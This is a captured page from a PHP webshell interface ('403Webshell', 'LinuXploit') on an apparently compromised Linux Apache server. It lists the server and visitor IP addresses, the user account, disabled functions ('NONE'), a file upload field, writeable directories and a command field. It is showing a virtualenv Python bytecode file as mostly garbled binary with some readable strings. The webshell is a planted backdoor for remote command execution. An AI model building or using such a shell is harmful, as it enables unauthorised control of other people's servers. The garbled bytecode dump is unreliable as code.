403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.73
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/virtualenv/create/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/virtualenv/create/__pycache__/creator.cpython-311.pyc
�

�h�c� ��B�ddlZddlZddlZddlZddlmZmZddlmZddl	m
Z
ddlmZddl
mZddlmZddlmZdd	lmZdd
lmZddlmZeej�e����jZed
zZGd�d��ZGd�de���Z d�Z!ddgZ"dS)�N)�ABCMeta�abstractmethod)�ArgumentTypeError)�literal_eval)�OrderedDict)�Path)�LogCmd)�safe_delete)�run_cmd)�__version__�)�PyEnvCfgzdebug.pyc��eZdZd�ZdS)�CreatorMetac��d|_dS�N)�error��selfs �;/usr/lib/python3/dist-packages/virtualenv/create/creator.py�__init__zCreatorMeta.__init__s
����
�
�
�N)�__name__�
__module__�__qualname__r�rrrrs#����������rrc��eZdZdZd�Zd�Zd�Zed���Zed���Z	e
d���Zed���Zd	�Z
d
�Zd�Zed���Zed
���ZdS)�CreatorzEA class that given a python Interpreter creates a virtual environmentc���||_d|_t|j��|_|j|_|j|_t
j|j��|_|j	|_	|j
|_
dS)z�Construct a new virtual environment creator.

        :param options: the CLI option as parsed from :meth:`add_parser_arguments`
        :param interpreter: the interpreter to create virtual environment from
        N)�interpreter�_debugr�dest�clear�
no_vcs_ignorer�from_folder�	pyenv_cfg�app_data�env)r�optionsr s   rrzCreator.__init__sc��'���������&�&��	��]��
�$�2���!�-�d�i�8�8����(��
��;����rc��|jj�dd�d�|���D�����d�S)N�(z, c3�*K�|]\}}|�d|��V��dS)�=Nr)�.0�k�vs   r�	<genexpr>z#Creator.__repr__.<locals>.<genexpr>.s0����5Z�5Z�T�Q���j�j�Q�j�j�5Z�5Z�5Z�5Z�5Z�5Zr�))�	__class__r�join�_argsrs r�__repr__zCreator.__repr__-sA���.�)�]�]�D�I�I�5Z�5Z�T�Z�Z�\�\�5Z�5Z�5Z�,Z�,Z�]�]�]�]rc�P�dt|j��fd|jfd|jfgS)Nr"r#r$)�strr"r#r$rs rr5z
Creator._args0s1��
�S���^�^�$�
�d�j�!�
�d�0�1�
�	
rc��dS)aDetermine if we can create a virtual environment.

        :param interpreter: the interpreter in question
        :return: ``None`` if we can't create, any other object otherwise that will be forwarded to                   :meth:`add_parser_arguments`
        Tr)�clsr s  r�
can_createzCreator.can_create7s	���trc��|�dd|j���|�ddddd�	��|�d
dddd�	��d
S)aAdd CLI arguments for the creator.

        :param parser: the CLI parser
        :param app_data: the application data folder
        :param interpreter: the interpreter we're asked to create virtual environment for
        :param meta: value as returned by :meth:`can_create`
        r"z!directory to create virtualenv at)�help�typez--clearr#�
store_truezZremove the destination directory if exist before starting (will overwrite files otherwise)F)r"�actionr=�defaultz--no-vcs-ignorer$z>don't create VCS ignore directive in the destination directoryN)�add_argument�
validate_dest)r:�parserr �metar's     r�add_parser_argumentszCreator.add_parser_argumentsAs���	����4��"�	�	
�	
�	
�
	������m��	�	
�	
�	
�	���� ��Q��	�	
�	
�	
�	
�	
rc��t�)z)Perform the virtual environment creation.)�NotImplementedErrorrs r�createzCreator.create^s
��"�!rc��d�}tj��}t��}|dkrddini}t|��D]N}	|j|fi|���|��}||kr�+t
|���#t$rd||<Y�KwxYw|rAd�|�����}d|�d|�d	|��}	t|	���tj|vr%d
|�dtj�d�}	t|	�d
����t|��}
|
�
��r'|
���rtd|
�d����tjdkr-ttj�|����}nKttj�t|
���������}|}
|rq|�
��r9tjt|��tj��rn0|||
��|j|j}
}||kr|||
��|}|�qt|
��S)zANo path separator in the path, valid chars and must be write-ablec��ttj�|j|jg���}td|�|���d|�����)N�the destination z is not write-able at )r�os�path�commonprefix�partsr�relative_to)r"�value�commons   r�non_write_ablez-Creator.validate_dest.<locals>.non_write_ablegsS���2�7�/�/���d�j�0I�J�J�K�F�#�$o�t�7G�7G��7O�7O�$o�$o�gm�$o�$o�p�p�pr�mbcs�errors�ignoreN�zthe file system codec (z) cannot handle characters z within zdestination z& must not contain the path separator (r2z+ as this would break the activation scriptsrLz already exists and is a file)��)�sys�getfilesystemencodingrr8�encode�decode�
ValueErrorr4�keysrrM�pathsepr�exists�is_file�version_inforN�realpath�abspath�resolve�access�W_OK�parent�name)r:�	raw_valuerT�encoding�refused�kwargs�char�trip�bad�msgrRr"�base�_s              rrCzCreator.validate_destcs���	q�	q�	q��,�.�.���-�-��)1�V�);�);�(�H�%�%����	�N�N�	%�	%�D�
%�"�t�{�8�6�6�v�6�6�=�=�h�G�G���4�<�<�� ��&�&�&���
%�
%�
%� $���
�
�
�
%�����	)��'�'�'�,�,�.�.�)�)�C�m�H�m�m�QT�m�m�`i�m�m�C�#�C�(�(�(�
�:��"�"�a��a�a�TV�T^�a�a�a�C�#�s�$W�$W�$W�X�X�X��Y�����<�<�>�>�	]�e�m�m�o�o�	]�#�$[�u�$[�$[�$[�\�\�\���v�%�%����(�(��3�3�4�4�D�D�������E�
�
�3�3�4�4�<�<�>�>�D����		��{�{�}�}�
0��9�S��Y�Y���0�0�0��"�N�4��/�/�/��k�4�9�!�D��t�|�|���t�U�+�+�+��D��		��5�z�z�s�'A:�+A:�:B�Bc�,�|j���r5|jr.tjd|j��t|j��|���|���|js|�	��dSdS)Nz	delete %s)
r"rbr#�logging�debugr
rI�
set_pyenv_cfgr$�setup_ignore_vcsrs r�runzCreator.run�s����9�����	#�$�*�	#��M�+�t�y�1�1�1���	�"�"�"����
�
�
��������!�	$��!�!�#�#�#�#�#�	$�	$rc�z�t��|j_tj�tj�|jj����|jd<|jj	|jd<d�
d�|jjD����|jd<t|jd<dS)N�home�implementation�.c3�4K�|]}t|��V��dSr)r8)r.�is  rr1z(Creator.set_pyenv_cfg.<locals>.<genexpr>�s(����1`�1`�Q�#�a�&�&�1`�1`�1`�1`�1`�1`rrd�
virtualenv)
rr&�contentrMrN�dirnamerfr �system_executabler~r4rdrrs rryzCreator.set_pyenv_cfg�s���!,������!#���������AQ�Ac�1d�1d�!e�!e���v��+/�+;�+J���'�(�),���1`�1`�$�BR�B_�1`�1`�1`�)`�)`���~�&�'2���|�$�$�$rc�p�|jdz}|���s|�d��dSdS)z9Generate ignore instructions for version control systems.z
.gitignorez(# created by virtualenv automatically
*
N)r"rb�
write_text)r�
git_ignores  rrzzCreator.setup_ignore_vcs�sL���Y��-�
�� � �"�"�	P��!�!�"N�O�O�O�O�O�	P�	Prc��|j�?|j�8t|j|���|j|j��|_|jS)zt
        :return: debug information about the virtual environment (only valid after :meth:`create` has run)
        )r!�exe�get_env_debug_info�debug_scriptr'r(rs rrxz
Creator.debug�sD��
�;��4�8�#7�,�T�X�t�7H�7H�7J�7J�D�M�[_�[c�d�d�D�K��{�rc��tSr)�DEBUG_SCRIPTrrrr�zCreator.debug_script�s���rN)rrr�__doc__rr6r5�classmethodr;rFrrIrCr{ryrz�propertyrx�staticmethodr�rrrrrs������O�O�
�
�
�^�^�^�
�
�
�����[���
�
��[�
�8�"�"��^�"��/�/��[�/�b$�$�$�3�3�3�P�P�P�����X������\���rr)�	metaclassc��|���}|�dd��|�|��5}t|��t|��g}t	jdt
|����t|��\}}}ddd��n#1swxYwY	|dkr:|rt|��}n<|dkrd|vrt|���t|���tj|��}|r||d<n+#t$r}	|||t|	��d�cYd}	~	Sd}	~	wwxYwd|vrd	|dvr|dd	d=|S)
N�
PYTHONPATHzdebug via %rr��file�err)�outr��
returncode�	exceptionr[rN)�copy�pop�ensure_extractedr8rwrxr	rr�OSError�	Exception�json�loads�repr)
�env_exer�r'r(�cmd�coder�r��resultr�s
          rr�r��s���

�(�(�*�*�C��G�G�L�$����	�	"�	"�<�	0�	0�&�L��7�|�|�S��.�.�/���
�n�f�S�k�k�2�2�2� ������c�3�&�&�&�&�&�&�&�&�&�&�&����&�&�&�&�
Z��1�9�9��
%�%�c�*�*����1�9�9��3���!�#�,�,�&���n�n�$��Z��_�_�F��	 ��F�5�M����Z�Z�Z��3�d��i���Y�Y�Y�Y�Y�Y�Y�Y�����Z��������6�V�E�]�2�2��5�M�&�!�!�$��Ms2�AB � B$�'B$�,AD�
D0�D+�%D0�+D0)#r�rwrMr[�abcrr�argparser�astr�collectionsr�pathlibr�#virtualenv.discovery.cached_py_infor	�virtualenv.util.pathr
�virtualenv.util.subprocessr�virtualenv.versionrr&rrNrf�__file__rj�HEREr�rrr��__all__rrr�<module>r�s�����������	�	�	�	�
�
�
�
�'�'�'�'�'�'�'�'�&�&�&�&�&�&�������#�#�#�#�#�#�������6�6�6�6�6�6�,�,�,�,�,�,�.�.�.�.�.�.�*�*�*�*�*�*��������t�B�G�O�O�H�%�%�&�&�-���j� ����������
a�a�a�a�a��a�a�a�a�H���<�����r

Youez - 2016 - github.com/yon3zu
LinuXploit